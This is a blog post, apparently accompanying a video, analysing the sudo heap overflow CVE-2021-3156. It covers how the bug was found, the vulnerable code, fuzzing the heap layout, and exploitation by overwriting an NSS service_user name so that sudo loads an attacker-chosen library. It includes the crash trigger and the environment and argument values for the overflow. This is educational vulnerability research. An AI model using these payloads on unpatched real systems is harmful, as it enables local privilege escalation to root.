The most comprehensive video about the recent sudo vulnerability CVE-2021-3156. This video is giving a broad overview from discovery, analysis and exploitation. And it serves as the start for a new very in-depth video series.

  • Episode 1: Coming 29.04.2021
  • Episode 2: ...
  • Episode 3: ...
  • ...

Vulnerability Discovery

How was the sudoedit vulnerability discovered? It was introduced almost 10 years before it was found, in commit 8255ed69. Everybody who saw how simple the trigger is, was wondering why it wasn't found earlier. Shouldn't fuzzing find this very quickly?

user@ubuntu:~$ sudoedit -s 'AAAAAAAAAAAAAAA\'
malloc(): memory corruption
Aborted (core dump)
user@ubuntu:~$
The proof of concept for CVE-2021-3156 is very simple

Fuzzing sudo with afl

When trying to setup fuzzing with afl, it becomes quickly apparent why it is actually not trivial to fuzz sudo's arguments. Milek7 documented a few challenges in this blog post. To summarize the issues were:

  1. afl cannot fuzz program arguments. The target binary has to be instrumented, for example using the experimental argv-fuzz-inl.h
  2. sudo has different functionality when executed with program name sudoedit. But it doesn't use argv[0] . Thus one has to patch the progname.c utility.
  3. You have to keep in mind, that sudo is a special program that exhibits different functionality when executed as root or an unpriviledged user. Depending on the fuzzing setup, this has to be considered. For example by hardcoding the getuid values to 1000.

Code Review

The Qualys researchers have shared in an interview with Paul's Security Weekly that they found the vulnerability through code review. In an email asking them about their process, they shared the following insight:

When we audit code, we completely open our mind: anything that differs from the program's or programmer's expectations is interesting, or may become interesting at some point; i.e., any kind of bugs and weirdness.  

And going into more detail about the actual discovery of the vulnerability.

a/ noticing that the loop in set_cmnd() may increment a pointer out of bounds;
b/ realizing that this should be impossible, because of parse_args()'sescaping;
c/ looking for ways to bypass this escaping and discovering the sudoedit trick.

Knowing this, it almost becomes trivial to find the bug. See the set_cmnd() function below. This function is vulnerable to a buffer overflow, if looked at in isolation. At first a loop goes through all the strings in the NewArgv array and sums up their length, which results in the allocation of a target buffer of that size.

// calculate the size of the target buffer
for (size = 0, av = NewArgv + 1; *av; av++)
  size += strlen(*av) + 1;
 
if (size == 0 || (user_args = malloc(size)) == NULL) {
  sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
  debug_return_int(-1);
}
excerpt from set_cmnd()

Right after this comes a loop which will copy the strings character by character into the target buffer user_args. If it encounters a backslash, then it will skip the backslash, copy the next character for sure and continue. Thus it is possible to copy a string out of bounds, if a backslash is located before the terminating null-byte.

Example string: "AAAAAAA\"

if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
    for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
        while (*from) {
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++;
            *to++ = *from++; // copy character by character
        }
        *to++ = ' ';
    }
    *--to = '\0';

So the code above seems unsafe, but only if looked at in isolation. It turns out the data is first going through an escape loop in parse_args.c. Where it is adding additional backslashes, which means input with a single backslash at the end, would actually be properly escaped with a second backslash "AAAAAAA\\" making the loop in set_cmnd() safe.

if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
	  char **av, *cmnd = NULL;
	  int ac = 1;

    // [...]
    
	  for (av = argv; *av != NULL; av++) {
		    for (src = *av; *src != '\0'; src++) {
            /* quote potential meta characters */
            if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
                *dst++ = '\\';
            *dst++ = *src;
		    }
		    *dst++ = ' ';
	  }
excerpt from parse_args

However the Qualys researchers looked more closely at the conditions when either loop is invoked. And sudo has tons of different modes that can be set through the arguments. And when comparing the modes of the if-conditions preceeding the two loops, one can notice that they differ. So the question is, is there a way to put sudo in a mode, where the set_cmnd() loop runs, but it doesn't go through the escape loop in parse_args first?

And yes, this happens when invoking sudoedit -s ....

Bug Analysis

The vulnerability is clear, there is a heap buffer overflow that allows you to overwrite any object coming after your vulnerable user_args in memory. The question is now

What can be overwritten for an exploit?

This requires a bit of creativity, but essentially I came up with the same technique to figure out the solution. One can first analyze what inputs the user controls that influences heap allocations. Then a bruteforce script can be developed that fuzzes different heap layouts and logging where sudo crashes.

For example the image blow shows how a different size environment variable LC_CTYPE=AAA vs. LC_CTYPE=AAAAAA influences how objects are being allocated in the fragmented heap. Leading to different objects coming after the vulnerable buffer user_args.

.How controlling the size of an object influences the heap layout.
.How controlling the size of an object influences the heap layout.

Using a script it's possible to fuzz many different inputs and collect backtraces where they crash.

SIZES = [i for i in range(0,0xfff)] + [2**i for i in range(0,16)] + [i+4 for i in range(0,0xff)] + [(2**i)+4 for i in range(0,16)]

env = [
    "LC_CTYPE=" + "Y"*random.choice(SIZES)
    "X" * random.choice(SIZES), #252
    "M"*random.choice(SIZES) + "=" + "V"*random.choice(SIZES), #854,2299
    "LC_ALL=" + "N"*random.choice(SIZES), #3981
    "PWD=/pwd",
    "TZ=" + "O"*random.choice(SIZES) #3090
]

arg = [ "F"*random.choice(SIZES)+"\\" ]

# run sudo with the random argument and environment variables

Here is a small selection of backtraces collapsed into a single line. These are all different locations where sudo crashed after the overflow was triggered.

get_user_info main
nss_parse_service_list nss_getline __GI___nss_passwd_lookup2 __getpwuid_r getpwuid get_user_info main
set_binding_values set_binding_values main
sudoersparse sudo_file_parse sudoers_policy_init sudoers_policy_open policy_open
sudoers_policy_main sudoers_policy_check policy_check
sudo_lbuf_expand sudo_lbuf_append_v1 sudoers_trace_print sudoerslex sudoersparse sudo_file_parse sudoers_policy_init sudoers_policy_open policy_open
__GI___strdup sudo_load_plugins main
__GI___tsearch __GI___nss_lookup_function __GI___nss_lookup __GI___nss_passwd_lookup2 __getpwuid_r getpwuid get_user_info main

When looking through the crash locations, one particular function is very interesting. nss_lookup_function() sounds very juicy as we might be able to overflow a value that controls what function is looked up and executed. And it turns out, that there is an object called service_user, which is used by nss_lookup_function() calling nss_load_library() which will then call dlopen that loads an external library. Specifically overflowing the name of the object will control the name of the shared library being loaded.

typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

Exploitation

Through the fuzzing of inputs and looking at the backtraces, it is possible to find the perfect condition that creates the ideal heap layout as shown in the heap fragmentation animation. On my system the following values for environment variables perfectly overflow the name of the service_user object, that results in loading the shared library in ./libnss_DDD\DDDD.so.

arg = [
    "F"*40+"\\",
]
env = [
    "LC_CTYPE=" + "Y"*510 + NEXT + "W"*24 + 
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
    "DDD\DDDD" + "\\", # loading libnss_DDD\DDDD.so
    "X"*252,
    "M"*854 + "=" + "V"*2299
    "LC_ALL=" + "N"*3981
    "PWD=/pwd",
    "TZ=" + "O"*3090
 ]

Exploitable on macOS

I did a brief feasibility check on macOS by implementing a similar input bruteforce using lldb. However the heap seems to be a lot more randomized. On the screenshot you can see two times invoking sudoedit with the same payload, but one time it crashes, and one time it doesn't.

Exploit feasibility on macOS?

Also looking at the functions where it crashes, they seem a lot less useful than what was hit on a Linux system. I wouldn't say it's not exploitable, history always showed us there is always a crazy person being able to exploit it. But it does seem a lot harder.

Conclusion

This was a very brief overview of the discovery, analysis and exploitation of the bug. You can watch the video for a few more details on the whole research. This video is also the start of a complete series that goes a lot more into detail. So if this article was too high-level, just wait for the upcoming episodes.